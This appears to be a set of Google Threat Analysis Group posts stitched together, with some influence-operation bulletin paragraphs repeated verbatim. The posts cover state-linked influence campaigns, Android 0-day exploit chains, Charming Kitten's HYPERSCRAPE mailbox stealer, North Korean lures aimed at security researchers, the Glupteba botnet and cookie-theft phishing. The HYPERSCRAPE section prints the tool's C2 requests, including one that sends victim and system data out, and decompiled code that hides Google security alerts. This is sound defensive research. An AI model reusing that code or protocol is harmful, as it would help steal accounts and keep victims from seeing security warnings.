This campaign uploaded content in Amahric that was supportive of Prime Minister Abiy Ahmed and was critical of his opposition.
Our findings are similar to findings reported by Facebook.
We terminated 36 YouTube channels, 1 ads account and 1 blog as part of our investigation into coordinated influence operations linked to Pakistan.
This campaign uploaded content in English and Urdu that was critical of India’s government in its treatment of Muslims, particularly in the region of Kashmir.
Our findings are similar to findings reported by Facebook.
We received leads from Graphika that supported us in this investigation.
We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian that was critical of the protests supporting Alexei Navalny.
We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.
This campaign uploaded content in Mandarin Chinese that was positive in sentiment about life in Xinjiang, China and was critical of Western allegations of abuses.
We received leads from Graphika that supported us in this investigation.
We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Moldova.
This campaign uploaded content in Russian that contained a variety of sensational political narratives, including one about an imminent threat to Russia from Ukraine and the U.S.We terminated 989 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.
A very small subset uploaded content in Chinese and English about China’s COVID-19 vaccine efforts and social issues in the U.S.
These findings are consistent with our previous reports.
We received leads from FireEye and Graphika that supported us in this investigation.
We terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.
This campaign uploaded content in Azerbaijani and Armenian that was critical of Armenia and supportive of the Azerbaijani military.
Our findings are similar to findings reported by Facebook.
We terminated 17 YouTube channels and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Ukraine.
This campaign uploaded content in Ukrainian that amplified several media platforms posing as news outlets and promoting a select number of local politicians.
Our findings are similar to findings reported by Facebook.
We terminated 3 YouTube channels, 1 Play developer, and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in English, Russian, German, Italian, French, and Spanish that was supportive of Russia’s positions on the military conflicts in Ukraine, the Middle East, and Central Asia.
We terminated 15 YouTube channels as part of our investigation into coordinated influence operations linked to Ethiopia.
This campaign uploaded content in Amahric that was supportive of Prime Minister Abiy Ahmed and was critical of his opposition.
Our findings are similar to findings reported by Facebook.
We terminated 36 YouTube channels, 1 ads account and 1 blog as part of our investigation into coordinated influence operations linked to Pakistan.
This campaign uploaded content in English and Urdu that was critical of India’s government in its treatment of Muslims, particularly in the region of Kashmir.
Our findings are similar to findings reported by Facebook.
We received leads from Graphika that supported us in this investigation.
We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian that was critical of the protests supporting Alexei Navalny.
We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.
This campaign uploaded content in Mandarin Chinese that was positive in sentiment about life in Xinjiang, China and was critical of Western allegations of abuses.
We received leads from Graphika that supported us in this investigation.
We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Moldova.
This campaign uploaded content in Russian that contained a variety of sensational political narratives, including one about an imminent threat to Russia from Ukraine and the U.S.We terminated 989 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.
A very small subset uploaded content in Chinese and English about China’s COVID-19 vaccine efforts and social issues in the U.S.
These findings are consistent with our previous reports.
We received leads from FireEye and Graphika that supported us in this investigation.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2021.
It was last updated on April 20, 2021.
We terminated 4 YouTube channels and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Ukraine.
This campaign uploaded content in Russian pertaining to current events in Kazakhstan and critical of European Union policies toward Moldova.
We terminated 5 blogs as part of our investigation into coordinated influence operations linked to Morocco.
This campaign uploaded content in Arabic that was critical of the Algerian government.
This campaign was consistent with similar findings reported by Facebook.
We terminated 5 YouTube channels as part of our investigation into coordinated influence operations linked to Brazil.
This campaign was linked to a PR firm named AP Exata Intelligence and uploaded content in Portuguese expressing support for several mayoral candidates in Brazil.
This campaign was consistent with similar findings reported by Facebook.
We terminated 6 YouTube channels as part of our investigation into coordinated influence operations linked to Kyrgyzstan.
The campaign uploaded content in Kyrgyz critical of the former President Almazbek Atambayev and the opposition leader Adakhan Madumarov.
This campaign was consistent with similar findings reported by Facebook.
We terminated 3 advertising accounts as part of our investigation into coordinated influence operations linked to Egypt.
This campaign was linked to a PR firm named Mubashier and uploaded content in Arabic supportive of the Russian government across several countries in the Middle East.
We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian on current events in Ukraine.
We terminated 1 YouTube channel, 2 advertising accounts and 1 mobile developer account as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian on such topics as the U.S. election and the poisoning of Alexei Navalny.
We terminated 5 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian on such topics as the annexation of Crimea and the Syrian civil war.
We terminated 2 YouTube channels and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian on historical events in Afghanistan, Armenia and Ukraine.
We terminated 2 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian on such topics as the U.S. current events and Alexei Navalny political rallies.
We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
This campaign uploaded content in English and was amplifying narratives on regional topics such as Israel, the Nagorno Karabakh conflict, and the war in Yemen.
We received leads from FireEye that supported us in this investigation.
To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.
In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.
This blog is a follow up to our July 2021 post on four 0-day vulnerabilities we discovered in 2021, and details campaigns targeting Android users with five distinct 0-day vulnerabilities:
We assess with high confidence that these exploits were packaged by a single commercial surveillance company, Cytrox, and sold to different government-backed actors who used them in at least the three campaigns discussed below.
Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.
The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.
Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.
Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.
TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.
The campaigns were limited — in each case, we assess the number of targets was in the tens of users.
Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.
If the link was not active, the user was redirected directly to a legitimate website.
We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.
We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.
ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.
These commands include recording audio, adding CA certificates, and hiding apps.
The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.
This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.
We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.
We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.
More technical details about this vulnerability are available in this RCA by Maddie Stone.
Related IOCs
In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.
We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.
The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.
This means the renderer exploit did not enable MojoJS bindings like we often see in public exploits.
Analysis of the exploit identified two different vulnerabilities in Chrome:
After escaping the sandbox, the exploit downloaded another exploit in /data/data/com.android.chrome/p.so to elevate privileges and install the implant.
We haven’t retrieved a copy of the exploit.
Related IOCs
In October 2021, we detected a full chain exploit from an up-to-date Samsung phone running the latest version of Chrome.
The chain included two 0-day exploits:
Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.
The commit was not flagged as a security issue and therefore the patch was not backported in most Android kernels.
At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.
Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.
In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.
Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.
Related IOCs
We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google’s Chrome and Android teams.
We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.
TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
We remain committed to updating the community as we uncover these campaigns.
Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.
We look forward to continuing our work in this space and advancing the safety and security of our users around the world.
NOTE: On May 20th, we updated our attribution to more precisely describe our findings.
As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.
For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.
Now, we’re shining light on a new tool of theirs.
In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.
The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.
We have seen it deployed against fewer than two dozen accounts located in Iran.
The oldest known sample is from 2020, and the tool is still under active development.
We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.
This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.
HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.
Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.
HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.
It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.
Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.
After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.
Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.
The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.
We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo!
and Microsoft accounts.
HYPERSCRAPE won't run unless in a directory with other file dependencies.
When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK'' and will terminate if it's not found.
In the version tested, the C2 was unobfuscated and stored as a hardcoded string.
In later versions it was obfuscated with Base64.
GET http://{C2}/Index.php?Ck=OK HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
Connection: Keep-Alive
The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.
A new form is displayed if the information is not provided via command prompt.
Once provided, the data in the "Identity" field is sent to a C2 for confirmation.
Again, the response is expected to be "OK".
GET http://{C2}/Index.php?vubc={identity} HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.
After parsing, the cookies are inserted into a local cache used by the embedded web browser.
A new folder named "Download" is created adjacent to the main binary.
The browser then navigates to Gmail to begin the data collection.
The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.
If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.
Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.
The language is returned to its original setting when the run is finished.
HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.
It does the following for each email found:
The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject.
A log file is written containing a count of the emails that were downloaded.
When finished, a HTTP POST request is made to the C2 to relay the status and system information.
The downloaded emails are not sent to the C2.
POST http://{C2}/?Key={GUID}&Crc={Identifier}
{
"appName": "Gmail Downloader",
"targetname": "{Email}",
"HostName": "REDACTED",
"srcUserIP": "REDACTED",
"actionType": "First",
"timeOccurrence": "05/01/2022 05:50:31 PM",
"OS": "REDACTED",
"OSVersion": "REDACTED",
"SystemModel": "REDACTED",
"SystemType": "REDACTED",
"srcName": "REDACTED",
"srcOrgName": "REDACTED"
}
The program will delete any security emails from Google generated by the attacker’s activity.
private bool IsThereAnyEMail() {
List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.
Document.
GetElementsByTagName("span")
where x.TextContent.
StartsWith ("Security alert") || x.TextContent.
StartsWith("Archive of Google data requested") || x.TextContent.
StartsWith("Your Google data archive is ready") || x.TextContent.
StartsWith("Your Google data is ready") || x.TextContent.
StartsWith("Critical security alert") || x.TextContent.
StartsWith("Access for less secure apps has been turned on") || x.TextContent.
StartsWith("Review blocked sign-in attempt") || x.TextContent.
StartsWith("Help us protect you: Security advice from Google") || x.TextContent.
StartsWith("Access for less secure apps has been turned on")
select x).ToList < GeckoHtmlElement > ();
bool flag = list.
Count == 0;
return !flag;
}
Data from Google Takeout is also available upon request, but the option was only found in early builds.
The functionality was not automated and it's unclear why it was removed in later versions.
When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.
When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.
public void ManageTakeOut() {
string text = "PipeName";
Process process = new Process();
process.
StartInfo.
Arguments = string.
Format("PIPE Google \"{0}\"", text);
process.
StartInfo.
FileName = Process.
GetCurrentProcess().MainModule.
FileName;
process.
Start();
PipeCommunication pipeCommunication = new PipeCommunication(true, text);
bool flag = false;
while (!flag) {
try {
JsonInfo jsonInfo = pipeCommunication.
Read();
switch (jsonInfo.
Type) {
case JsonType.
GetCookies:
jsonInfo.
Data = this.
CookieText;
pipeCommunication.
Write(jsonInfo);
break;
case JsonType.
TakeOutFile:
flag = true;
break;
case JsonType.
GetUsername:
while (this.
OperationObject.
GetUsername() == null) {
Thread.
Sleep(1000);
}
jsonInfo.
Data = this.
OperationObject.
GetUsername();
pipeCommunication.
Write(jsonInfo);
break;
}
} catch (Exception) {
bool hasExited = process.
HasExited;
if (hasExited) {
flag = true;
}
}
}
pipeCommunication.
Close();
}
TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.
It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.
We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.
We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.
In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.
C2s
136.243.108.14
173.209.51.54
HYPERSCRAPE binaries
03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369
35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208
5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798
6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f
767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4
977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f
ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6
cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa
Microsoft Live DLL
1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23
PDB
E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb
E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb
In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.
On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”
The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.
Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.
In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.
The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.
On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.
We have reported all identified social media profiles to the platforms to allow them to take appropriate action.
At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.
Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.
Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.
We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.
Fake Security Company Website:
LinkedIn Profiles:
Email:
Attacker Owned Domains:
Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.
The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below.
We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with.
In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets.
They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits and for amplifying and retweeting posts from other accounts that they control.
Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.
While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit.
On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability.
In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.
Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated.
After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.”
The actors have been observed targeting specific security researchers by a novel social engineering method.
After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project.
Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.
The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.
An example of the VS Build Event can be seen in the image below.
In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.
In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.
]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server.
At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.
At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have.
Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program.
We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.
These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase and email.
We are providing a list of known accounts and aliases below.
If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.
To date, we have only seen these actors targeting Windows systems as a part of this campaign.
If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.
Host IOCs
Registry Keys
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update
File Paths
C:\Windows\System32\Nwsapagent.sys
C:\Windows\System32\helpsvc.sys
C:\ProgramData\USOShared\uso.bin
C:\ProgramData\VMware\vmnat-update.bin
C:\ProgramData\VirtualBox\update.bin
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.
It was last updated on May 12, 2022.
We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.
On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.
Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.
Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.
Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.
Generally, 2020 has been dominated by COVID-19.
The pandemic has taken center stage in people’s everyday lives, in the international news media, and in the world of government-backed hacking.
Recently, we shared information on numerous COVID-themed attacks discovered and confirmed by our teams.
We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.
And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.
As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.
The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.
The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.
The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.
To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.
APP was designed specifically for high-risk accounts.
Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.
Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.
In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.
When we find attempts to conduct coordinated influence operations on our platforms, we work with our Trust & Safety teams to swiftly remove such content from our platforms and terminate these actors’ accounts.
We take steps to prevent possible future attempts by the same actors, and routinely exchange information and share our findings with others in the industry.
We’ve also shared occasional updates about this kind of activity, and today we’re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).
Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.
Since March, we’ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner.
These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report.
We’ll also share additional removal actions from April and May in the Q2 Bulletin.
Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the industry.
We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.
It was last updated on May 12, 2022.
We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.
Google TAG actively monitors threat actors and the evolution of their tactics and techniques.
We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.
As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.
We believe this action will have a significant impact on Glupteba's operations.
However, the operators of Glupteba are likely to attempt to regain control of the botnet using a backup command and control mechanism that uses data encoded on the Bitcoin blockchain.
Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices.
TAG has observed the botnet targeting victims worldwide, including the US, India, Brazil and Southeast Asia.
The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).
For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.
The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.
While analyzing Glupteba binaries, our team identified a few containing a git repository URL: “git.voltronwork.com”.
This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.
These services include selling access to virtual machines loaded with stolen credentials (dont[.
]farm), proxy access (awmproxy), and selling credit card numbers (extracard) to be used for other malicious activities such as serving malicious ads and payment fraud on Google Ads.
This past year, TAG has been collaborating with Google’s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.
We’ve terminated around 63M Google Docs observed to have distributed Glupteba, 1,183 Google Accounts, 908 Cloud Projects, and 870 Google Ads accounts associated with their distribution.
Furthermore, 3.5M users were warned before downloading a malicious file through Google Safe Browsing warnings.
In the last few days, our team partnered with Internet infrastructure providers and hosting providers, including Cloudflare, to disrupt Glupteba’s operation by taking down servers and placing warning interstitial pages in front of the malicious domain names.
During this time, an additional 130 Google accounts associated with this operation were terminated.
Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.
Google is alleging violations under the Racketeer Influenced and Corrupt Organizations Act (RICO), the Computer Fraud and Abuse Act, the Electronic Communications Privacy Act, the Lanham Act, and tortious interference of business relationships, and unjust enrichment.
While these actions may not completely stop Glupteba, TAG estimates that combined efforts will materially affect the actor’s ability to conduct future operations.
The command and control (C2) communication for this botnet uses HTTPS to communicate commands and binary updates between the control servers and infected systems.
To add resilience to their infrastructure, the operators have also implemented a backup mechanism using the Bitcoin blockchain.
In the event that the main C2 servers do not respond, the infected systems can retrieve backup domains encrypted in the latest transaction from the following bitcoin wallet addresses:
The following 32 byte AES keys for decryption are hard coded in the binaries:
The blockchain transaction’s OP_RETURN data can be decrypted using AES-256 GCM to provide a backup command and control domain name.
The first 12 bytes of the OP_RETURN contains the IV, the last 16 bytes the GCM tag, while the middle section is the AES-256 GCM encrypted domain.
Full details of Glupteba’s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:
Recent domains used for command and control:
Recent sha256 hashes of malware samples:
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.
The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.
In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.
We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.
With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).
Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.
In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.
Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.
While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.
Many YouTube creators provide an email address on their channel for business opportunities.
In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.
The phishing typically started with a customized email introducing the company and its products.
Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.
Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.
The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.
To date, we’ve identified at least 1,011 domains created solely for this purpose.
Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.
During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”
In one case, we observed a fake social media page copying content from an existing software company.
The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.
Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.
Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.
Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.
This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.
We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.
